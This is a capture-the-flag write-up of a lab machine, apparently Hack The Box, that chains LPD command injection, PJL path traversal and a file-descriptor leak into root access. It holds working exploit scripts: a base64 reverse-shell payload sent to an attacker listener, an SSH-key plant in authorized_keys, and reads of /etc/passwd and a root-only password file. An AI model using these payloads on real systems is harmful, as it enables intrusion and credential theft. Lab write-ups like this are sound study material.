tl;dr
a homemade lpd server (rfc1179) on port 1515 drops the print job name straight
into a subprocess(..., shell=True), so the J control-file line is a command
injection, and an empty queue string bypasses its queue check. that gets a shell
as lp. a jetdirect/pjl printer emulator running as archivist on
127.0.0.1:9100 has a path traversal in its filesystem commands, giving
arbitrary read/write as archivist, so i drop an ssh key and log in. finally a
root paperwork-daemon hands its open file descriptors back over a unix socket
with SCM_RIGHTS, including a root-opened handle to admin_pins.conf, so i
pread() the ADMIN_PASSWORD out of a fd i was never allowed to open, and it's
reused as root's password.
recon
nmap
full port scan first:
nmap -p- --min-rate 10000 -n -Pn 10.129.44.115
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1515/tcp open ifor-protocol
then a version/script scan on what was open:
nmap -p22,80,1515 -sCV -n -Pn 10.129.44.115
22 is openssh 10.0p2 ubuntu, 80 is http, 1515 is some custom thing nmap labels
ifor-protocol. added paperwork.htb to /etc/hosts.
open ports / services
| port | service | notes |
|---|---|---|
| 22 | ssh | openssh 10.0p2, ubuntu |
| 80 | http | "intranet document archiving service" |
| 1515 | ifor-protocol | homemade lpd (line printer daemon) |
port 80 is an "intranet document archiving service" page. not much on it, just an
advisory about a spooler and a link to /download/archive called
paperwork-archive-v1.02. clicked it, downloaded the zip, unzipped, got
server.py, the thing running on 1515.
foothold: lpd command injection (1515)
- Vuln/vector: the lpd server logs the print job name through
subprocess(..., shell=True), so theJline of the control file is a shell command injection. the queue check isqueue not in VALID_QUEUE, so an empty queue string is a substring of anything and slips right past it.
server.py is a homemade lpd server (rfc1179). the interesting bit is where it
builds the archive log line:
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)the job name goes straight into a shell command with shell=True. and the queue
gate is just:
if queue not in VALID_QUEUE:
..."" in VALID_QUEUE is always true, so i don't even need to know the real queue
name.
- Steps:
wrote payload.py to hit it, break out of the echo '...' quotes, base64 the
reverse shell to dodge all the quoting, and comment out the rest of the line with
#:
#!/usr/bin/env python3
import socket, base64, sys, time
HOST = sys.argv[1] if len(sys.argv) > 1 else "10.129.45.27" # target
PORT = 1515
LHOST = sys.argv[2] if len(sys.argv) > 2 else "10.10.14.155" # my tun0
LPORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
rev = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
b64 = base64.b64encode(rev.encode()).decode()
# break out of echo '...' , run our command, comment out the rest
job = f"'; echo {b64}|base64 -d|bash #"
ctrl = f"J{job}\n".encode()
def main():
s = socket.socket(); s.settimeout(10); s.connect((HOST, PORT))
# cmd 0x02 (receive job) + EMPTY queue to bypass the check
s.send(b"\x02\n"); time.sleep(0.4)
# control-file header: <subcmd><size> <name>
s.send(b"\x02" + f"{len(ctrl)} cfA001paperwork\n".encode())
try: s.recv(1)
except: pass
time.sleep(0.4)
# the poisoned control-file body -> injection fires
s.send(ctrl)
try: s.recv(4096)
except: pass
s.close()
main()listener up, ran it, caught the shell:
nc -lvnp 4444
lp@paperwork:/opt/LPDServer$ whoami
lp
i'm lp. there's an archivist user in /home. the user flag lives in there.
lp -> archivist: pjl path traversal (9100)
- Vuln/vector: a jetdirect/pjl printer emulator runs as
archiviston127.0.0.1:9100. its pjl filesystem commands (FSUPLOAD/FSDOWNLOAD) resolve paths without stripping.., so i get arbitrary read + write as archivist.
no sudo (sudo -l is empty), nothing special on lp. i can read the real
server.py in /opt/LPDServer (it's root:lp), the copy off the website was a
cut-down / broken version, but it doesn't matter, i already have a shell. the
useful stuff was the systemd units:
cat /etc/systemd/system/*.service
lpd.service: runs as lp,LPD_QUEUE=archive_intake(my foothold)jetdirect.service: runs as archivist,jetdirect.py 9100 /home/archivist/printer/ ...corposite.service: runs as root,/root/staging/CorpoSite/app.pypaperwork-daemon: runs as root,/usr/bin/paperwork-daemon
jetdirect runs as archivist → that's my way up. it's bound to localhost only,
which is why it never showed in the external nmap:
ss -ltnp | grep 9100
LISTEN 0 100 127.0.0.1:9100 0.0.0.0:*
it talks pjl (printer job language). helper i ran on the box against 9100:
import socket, time
def pjl(payload, wait=1.2):
s = socket.socket(); s.settimeout(4); s.connect(('127.0.0.1', 9100))
s.sendall(b'\x1b%-12345X' + payload + b'\x1b%-12345X\r\n')
time.sleep(wait)
out = b''
try:
while True:
d = s.recv(4096)
if not d: break
out += d
except: pass
s.close(); return out
print(pjl(b'@PJL INFO ID\r\n'))
print(pjl(b'@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=999\r\n'))
print(pjl(b'@PJL FSUPLOAD NAME="jetdirect.py" OFFSET=0 SIZE=20000\r\n'))INFO ID comes back "HP LASERJET 4ML", and the pjl filesystem commands
(FSDIRLIST, FSUPLOAD, FSDOWNLOAD) actually work. FSUPLOAD of
jetdirect.py dumped the whole source. the bug is the path handling:
def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))it strips leading slashes but does nothing about .., then normpaths the join,
so .. traverses straight out. root is /home/archivist/printer, so 0:/../
lands in /home/archivist. logging is just logging.info(), no shell call, so
the traversal is the whole bug: arbitrary read (FSUPLOAD) and write
(FSDOWNLOAD, whose write() even does os.makedirs) as archivist. (my first
reads failed with absolute paths, they get jammed under the root, you have to
use ../.)
- Steps:
read the user flag:
print(pjl(b'@PJL FSUPLOAD NAME="0:/../user.txt" OFFSET=0 SIZE=20000\r\n'))- user flag:
[redacted]
pulled /etc/passwd with 0:/../../../etc/passwd too, archivist is uid 1000
/bin/bash, and there's a _laurel user, so laurel/auditd logging is running
(whatever i do as root later gets logged; noted, doesn't block anything). no ssh
keys in archivist's .ssh (FSUPLOAD of id_rsa / id_ed25519 both give
FILEERROR=1), so instead of living off read/write i want a real shell. made a
keypair and used the write primitive to drop the pubkey into archivist's
authorized_keys:
import socket, time
PUB = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... wock@omarchy\n"
path = b'0:/../.ssh/authorized_keys'
s = socket.socket(); s.settimeout(5); s.connect(('127.0.0.1', 9100))
hdr = b'\x1b%-12345X@PJL FSDOWNLOAD NAME="' + path + b'" SIZE=' + str(len(PUB)).encode() + b'\r\n'
s.sendall(hdr + PUB)
time.sleep(1); print(s.recv(4096)); s.close()write() creates the .ssh dir itself via os.makedirs, so it just works:
ssh -i archivist archivist@paperwork.htb
id
uid=1000(archivist) gid=1000(archivist) groups=1000(archivist)
in as archivist. (the box respawned around here and the ip changed to 10.129.45.27, same key still worked.)
archivist -> root: fd leak via SCM_RIGHTS
- Vuln/vector: the root
paperwork-daemonpasses its open file descriptors, including a root-opened handle toadmin_pins.conf, back to the client over a unix socket withSCM_RIGHTS. a passed fd keeps whatever access it was opened with, so i canpread()a root-only file as archivist.
/usr/bin/paperwork-daemon is world-readable and runs as root:
- on startup it opens
/etc/paperwork/admin_pins.confread-only as root and holds onto the fd (admin_fd). that file hasADMIN_PASSWORD=in it, and it's root-only. - it listens on a unix socket
/run/paperwork/mgmt.sock, chownedroot:1000mode0660. gid 1000 is the archivist group, so archivist can connect,lpcouldn't, which is thePermissionErrori hit when i first tried this before getting the archivist shell. - every connection runs
scan_for_malice(), which reads/home/archivist/printer/logs/commands.logand, if it findsFSUPLOAD,FSDOWNLOADorFSQUERY, callstrigger_lockdown():
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])it hands the file descriptors (including admin_fd, the root handle to
admin_pins.conf) back to the client. once i receive that fd i can pread()
the root-only file it points at, regardless of my own perms. that's the privesc.
- Steps:
triggering it is free, commands.log is already full of FSUPLOAD lines from
all my earlier reads (jetdirect logs every pjl command as archivist). i send one
more FSUPLOAD to be safe, then connect to the socket and recvmsg the fds:
import socket, array, os, time
# poison the log so scan_for_malice() returns true
p = socket.socket(); p.connect(('127.0.0.1', 9100))
p.sendall(b'\x1b%-12345X@PJL FSUPLOAD NAME="trigger"\r\n\x1b%-12345X')
time.sleep(0.5); p.close()
# connect to the root daemon and pull the leaked fds
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
fds = array.array("i")
msg, anc, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fds.itemsize))
for lvl, typ, data in anc:
if lvl == socket.SOL_SOCKET and typ == socket.SCM_RIGHTS:
fds.frombytes(data[:len(data) - (len(data) % fds.itemsize)])
print("fds:", list(fds))
for fd in fds:
print(os.pread(fd, 4096, 0).decode(errors='ignore'))fd 4 is commands.log, fd 5 is admin_pins.conf:
fds: [4, 5]
ADMIN_PASSWORD=[redacted]
there's also a flask app (CorpoSite, werkzeug dev server) on 127.0.0.1:1337
running as root, but every route 404s (/admin, /login, /console all dead),
dead end. the password is just reused as root's password:
echo '[redacted]' | su -c 'id; cat /root/root.txt' root
uid=0(root) gid=0(root) groups=0(root)
- root flag:
[redacted]